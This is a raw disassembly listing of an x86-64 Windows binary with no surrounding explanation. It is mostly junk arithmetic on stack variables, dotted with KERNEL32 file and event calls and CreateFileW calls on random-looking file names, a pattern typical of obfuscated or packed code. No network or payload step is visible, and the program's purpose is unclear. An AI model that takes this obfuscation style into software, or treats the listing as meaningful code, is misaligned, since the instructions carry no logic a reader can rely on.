mov rcx, qword [rsp + 0x3c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x818], rax
movsx eax, word [rsp + 0x54]
mov rcx, qword [rsp + 0x770]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1400fd16c], ax
mov rax, qword [rsp + 0x3d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc0]
shl eax, cl
mov word [rsp + 0x64], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov rcx, qword [0x1400fd160]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x148], ax
movzx eax, word [rsp + 0xd4]
movzx ecx, word [rsp + 0x84]
add eax, ecx
mov rcx, qword [rsp + 0x2a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0xa90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc8], eax
mov rax, qword [rsp + 0x530]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3d8]
mov rcx, qword [rsp + 0x10c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7c0], rax
mov rax, qword [rsp + 0x770]
movsx eax, word [rax]
movsx ecx, word [0x1400fd130]
and eax, ecx
mov word [rsp + 0xf0], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1519
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x638], eax
movzx eax, word [rsp + 0x70]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd4], ax
mov rax, qword [0x1400fc3a0]
mov rcx, qword [rsp + 0x120]
sub rcx, rax
mov rax, rcx
mov qword [0x1400fd128], rax
mov rax, qword [rsp + 0x7d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x760], rax
mov rax, qword [rsp + 0xa18]
movzx ecx, al
mov rax, qword [rsp + 0x760]
shl rax, cl
mov qword [rsp + 0xb80], rax
jmp 0x140014c7c
mov rax, qword [rsp + 0x320]
mov rcx, qword [rsp + 0x1b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x200]
mov qword [rcx], rax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x468], rax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
xor eax, ecx
mov byte [rsp + 0x51], al
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0xe684
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x908], eax
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb4], eax
mov rax, qword [rsp + 0x500]
mov qword [rsp + 0xd38], rax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x5a]
sar eax, cl
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
mov rcx, qword [0x1400fd148]
add rcx, rax
mov rax, rcx
mov qword [0x1400fc390], rax
movsx eax, word [rsp + 0xd0]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1e0], ax
movsx eax, word [rsp + 0x1e0]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7c], ax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x468]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x70]
sub eax, ecx
mov word [rsp + 0x88], ax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
add rax, qword [rsp + 0x328]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x530]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x750]
mov ecx, dword [rsp + 0xc8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa0], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xeba4
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
mov rax, qword [rsp + 0x3d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x818]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x78]
xor eax, ecx
mov word [rsp + 0x64], ax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1400fd150], ax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
add rax, qword [rsp + 0xa18]
mov rcx, qword [rsp + 0x738]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20dc]
sub eax, 0x39
mov dword [rsp + 0x20dc], eax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
movzx ecx, word [0x1400fd168]
sub eax, ecx
mov rcx, qword [rsp + 0x2a0]
mov word [rcx], ax
mov eax, dword [rsp + 0x20c]
mov rcx, qword [rsp + 0x340]
mov qword [rsp + 0x4488], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4488]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3c8], eax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
add eax, ecx
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x538]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x74]
sub eax, ecx
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0x838]
mov rcx, qword [rsp + 0x7c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc70], rax
mov rax, qword [rsp + 0xa90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb8], eax
movsx eax, word [rsp + 0x98]
movsx ecx, word [rsp + 0x54]
and eax, ecx
mov word [rsp + 0xc0], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x92a8
mov rcx, qword [rsp + 0x16e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a48], eax
movzx eax, word [rsp + 0xd4]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd144], ax
mov rax, qword [rsp + 0x778]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1400fd128]
sar rax, cl
mov rcx, qword [rsp + 0x618]
mov qword [rcx], rax
mov rax, qword [rsp + 0x620]
mov rcx, qword [rsp + 0xb80]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x540], rax
movsx eax, word [rsp + 0x98]
mov rcx, qword [rsp + 0x3d0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x54], ax
movzx eax, word [rsp + 0xd4]
movzx ecx, word [rsp + 0xe0]
or eax, ecx
mov word [rsp + 0x70], ax
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0x90]
sub eax, ecx
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x3d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x188]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x3d8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x690], eax
mov eax, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0xc8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc4], eax
mov rax, qword [rsp + 0x1f8]
mov rcx, qword [0x1400fc3a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1e8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x54]
mov rcx, qword [rsp + 0x528]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1400fd140], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xafc
mov rcx, qword [rsp + 0x1310]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xccc], eax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x88]
movzx ecx, word [0x1400fd168]
sub eax, ecx
mov word [rsp + 0x148], ax
movzx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x358]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x51], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x39d9
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a48], eax
mov rax, qword [rsp + 0x970]
mov rcx, qword [0x1400fd138]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x340]
mov dword [rcx], eax
mov rax, qword [rsp + 0x738]
mov rax, qword [rax]
mov rcx, qword [0x1400fc3a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1e8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x80]
movsx ecx, byte [rsp + 0x5a]
add eax, ecx
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x208]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x330], eax
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x990]
shl rax, cl
mov qword [rsp + 0xd38], rax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1390], eax
movsx eax, word [rsp + 0x54]
movsx ecx, word [rsp + 0x78]
xor eax, ecx
mov word [rsp + 0x98], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3784
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1400fd170]
mov word [rcx], ax
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0xa18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x540], rax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20e0], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xb77f
mov rcx, qword [rsp + 0x1d10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
cmp dword [rsp + 0x20dc], 0x9069
ja 0x140015227
movzx eax, word [0x1400fc398]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x114], ax
movsx eax, word [rsp + 0x54]
movsx ecx, word [rsp + 0xc0]
sub eax, ecx
mov rcx, qword [rsp + 0x3d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x620]
mov rcx, qword [0x1400fc388]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x7f0]
mov eax, dword [rax]
mov dword [rsp + 0x27b8], eax
cmp dword [rsp + 0x27b8], 0
je 0x140015869
cmp dword [rsp + 0x27b8], 0xa054
je 0x140015829
jmp 0x1400521ef
mov rax, qword [rsp + 0x468]
movzx eax, word [rax]
mov rcx, qword [0x1400fd160]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x114], ax
movsx eax, word [rsp + 0x78]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1400fd158]
mov word [rcx], ax
jmp 0x1400521ef
mov rax, qword [rsp + 0x970]
mov eax, dword [rax]
mov dword [rsp + 0x7a0], eax
mov rax, qword [rsp + 0x358]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
or eax, ecx
mov byte [rsp + 0x59], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1290], rax
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3d0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x19c], ax
movzx eax, word [rsp + 0xe0]
mov rcx, qword [0x1400fd160]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x3c0]
mov qword [rsp + 0x4490], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4490]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x750]
mov eax, dword [rax]
add eax, dword [rsp + 0xa0]
mov dword [rsp + 0xc8], eax
movzx eax, word [rsp + 0x19c]
mov word [rsp + 0x110], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1d4c
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
movzx eax, word [rsp + 0x8c]
mov word [0x1400fd178], ax
mov rax, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x618]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb80], rax
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x780]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb70], rax
mov rax, qword [rsp + 0x3e0]
mov rcx, qword [rsp + 0x760]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb70], rax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x11b8], eax
movsx eax, word [rsp + 0x98]
mov rcx, qword [0x1400fd158]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc0], ax
lea rax, [rsp + 0x208]
mov qword [rsp + 0x828], rax
mov rax, qword [rsp + 0x530]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x298]
mov byte [rcx], al
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
mov qword [rsp + 0x1208], rax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
and eax, ecx
mov byte [rsp + 0x59], al
lea rax, [rsp + 0x20c]
mov qword [rsp + 0xa38], rax
movsx eax, word [rsp + 0xd0]
movsx ecx, word [rsp + 0x1e0]
xor eax, ecx
mov word [0x1400fd140], ax
movzx eax, word [rsp + 0xe0]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x114], ax
movzx eax, word [rsp + 0x88]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1cc], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.0aEif43kjjOKDXsVb83bJZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1cb0], rax
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x120]
sar rax, cl
mov qword [rsp + 0xa18], rax
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0xbc], al
mov rax, qword [rsp + 0x3d8]
mov rcx, qword [rsp + 0x3c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x338], rax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x828]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd8]
add eax, dword [rcx]
mov rcx, qword [rsp + 0xa90]
mov dword [rcx], eax
lea rax, [rsp + 0x98]
mov qword [rsp + 0xa28], rax
movzx eax, word [rsp + 0x148]
movzx ecx, word [rsp + 0x70]
sub eax, ecx
mov word [rsp + 0xec], ax
lea rax, [rsp + 0x540]
mov qword [0x1400fd180], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4fba
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x680], eax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
mov word [rsp + 0x254], ax
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x3e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f8], rax
mov rax, qword [0x1400fd180]
mov rcx, qword [rsp + 0x7d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x950], rax
mov rax, qword [rsp + 0xc70]
mov rcx, qword [rsp + 0x7c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x838], rax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe4]
sar eax, cl
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0xa38]
mov eax, dword [rax]
mov dword [rsp + 0x8e4], eax
mov rcx, qword [rsp + 0x1290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1664], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x851e
mov rcx, qword [rsp + 0x1310]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a48], eax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
add eax, ecx
mov rcx, qword [rsp + 0x668]
mov byte [rcx], al
mov eax, dword [rsp + 0xc4]
mov ecx, dword [rsp + 0xb8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x688], eax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0xf0]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1400fd140], ax
mov rax, qword [rsp + 0x528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x98], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.2KjCYcPyUmXEe
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1048], rax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xec], ax
movzx eax, word [rsp + 0x8c]
mov word [rsp + 0x128], ax
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x188]
mov qword [rsp + 0x4498], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4498]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd38], rax
mov eax, dword [rsp + 0x208]
mov dword [rsp + 0x670], eax
mov rax, qword [rsp + 0x538]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x530]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7b0]
mov byte [rcx], al
movsx eax, word [rsp + 0x110]
mov rcx, qword [0x1400fd158]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd0], ax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcf4], eax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x160], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x4738
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x68c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1098], rax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
mov qword [0x1400fd188], rax
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x540]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7d8]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x96ad
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe28], eax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov qword [rsp + 0xb68], rax
mov rax, qword [rsp + 0x780]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x950]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3e0], rax
movzx eax, word [rsp + 0x8c]
movzx ecx, word [rsp + 0x254]
sub eax, ecx
mov word [rsp + 0xd4], ax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x94]
mov qword [rsp + 0x1730], rax
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x60]
and eax, ecx
mov rcx, qword [rsp + 0x2e8]
mov byte [rcx], al
lea rax, [0x1400fd148]
mov qword [rsp + 0x628], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6e6a
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8fc], eax
mov eax, dword [rsp + 0x330]
mov rcx, qword [rsp + 0xa90]
mov qword [rsp + 0x44a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x44a0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x208], eax
mov rax, qword [rsp + 0x7b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x538]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1400fc381], al
lea rax, [0x1400fd140]
mov qword [rsp + 0x788], rax
mov rax, qword [rsp + 0x958]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7c]
or eax, ecx
mov word [rsp + 0x78], ax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2a0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcf4], eax
mov rax, qword [0x1400fd180]
mov rcx, qword [rsp + 0xb80]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc90], rax
movsx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x530]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x68], al
mov eax, 0x38
imul rax, rax, 1
mov dword [rsp + rax + 0x5b80], 0x362a0b78
lea rax, [rsp + 0x348]
mov qword [rsp + 0x1050], rax
mov rax, qword [rsp + 0x990]
movzx ecx, al
mov rax, qword [rsp + 0xd38]
shr rax, cl
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x958]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x110], ax
movzx eax, word [rsp + 0x114]
movzx ecx, word [rsp + 0x148]
sub eax, ecx
mov word [0x1400fd150], ax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov qword [rsp + 0x1038], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x91b1
mov rcx, qword [rsp + 0x1d10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa40], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1338], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2a90
mov rcx, qword [rsp + 0x1cb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8fc], eax
movzx eax, word [rsp + 0x128]
movzx ecx, word [rsp + 0x70]
and eax, ecx
mov word [rsp + 0x160], ax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe7], al
mov eax, dword [rsp + 0xa4]
cdq
idiv dword [rsp + 0x7a0]
mov rcx, qword [rsp + 0x1730]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3d8]
mov rcx, qword [0x1400fd148]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x338], rax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x828]
mov eax, dword [rax]
mov dword [rsp + 0x660], eax
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0x50]
sar eax, cl
mov byte [rsp + 0x5a], al
movzx eax, word [rsp + 0x78]
mov word [rsp + 0x168], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.WPai3k4GYWTSHY
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1028], rax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
mov word [0x1400fd190], ax
mov rax, qword [rsp + 0x950]
mov rcx, qword [rsp + 0x1f8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x780]
mov qword [rcx], rax
lea rax, [rsp + 0x1038]
mov qword [rsp + 0x7c8], rax
mov rax, qword [0x1400fd158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19c]
shl eax, cl
mov word [rsp + 0x54], ax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x148]
or eax, ecx
mov rcx, qword [rsp + 0x2a8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1248]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe24], eax
mov rax, qword [rsp + 0x3d8]
mov rcx, qword [rsp + 0x628]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa80], rax
mov rax, qword [rsp + 0x508]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x538]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x90], al
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x8d4], eax
mov rax, qword [0x1400fc388]
mov rcx, qword [rsp + 0xc90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x760], rax
movsx eax, word [rsp + 0x110]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1400fc3b0], ax
movzx eax, word [rsp + 0x6c]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x160], ax
mov eax, dword [rsp + 0x7a0]
cdq
mov ecx, 0x3c048453
idiv ecx
mov dword [rsp + 0x47c], eax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x60]
sub eax, ecx
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0x1038]
mov qword [rsp + 0x9b8], rax
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe4]
add eax, ecx
mov rcx, qword [rsp + 0x530]
mov byte [rcx], al
mov eax, 0x38
imul rax, rax, 1
lea rcx, [0x140004810]
mov qword [rsp + rax + 0x5b68], rcx
mov rax, qword [rsp + 0x1050]
mov ecx, dword [rsp + 0x670]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x660], eax
mov rax, qword [rsp + 0x628]
mov rax, qword [rax]
mov qword [rsp + 0xc98], rax
mov rax, qword [rsp + 0x788]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x64], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa04f
mov rcx, qword [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x638], eax
lea rax, [rsp + 0xe0]
mov qword [0x1400fd198], rax
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0x748], rax
movzx eax, word [0x1400fd178]
movzx ecx, word [rsp + 0x5c]
add eax, ecx
mov rcx, qword [rsp + 0x2a8]
mov word [rcx], ax
movsx eax, word [rsp + 0x54]
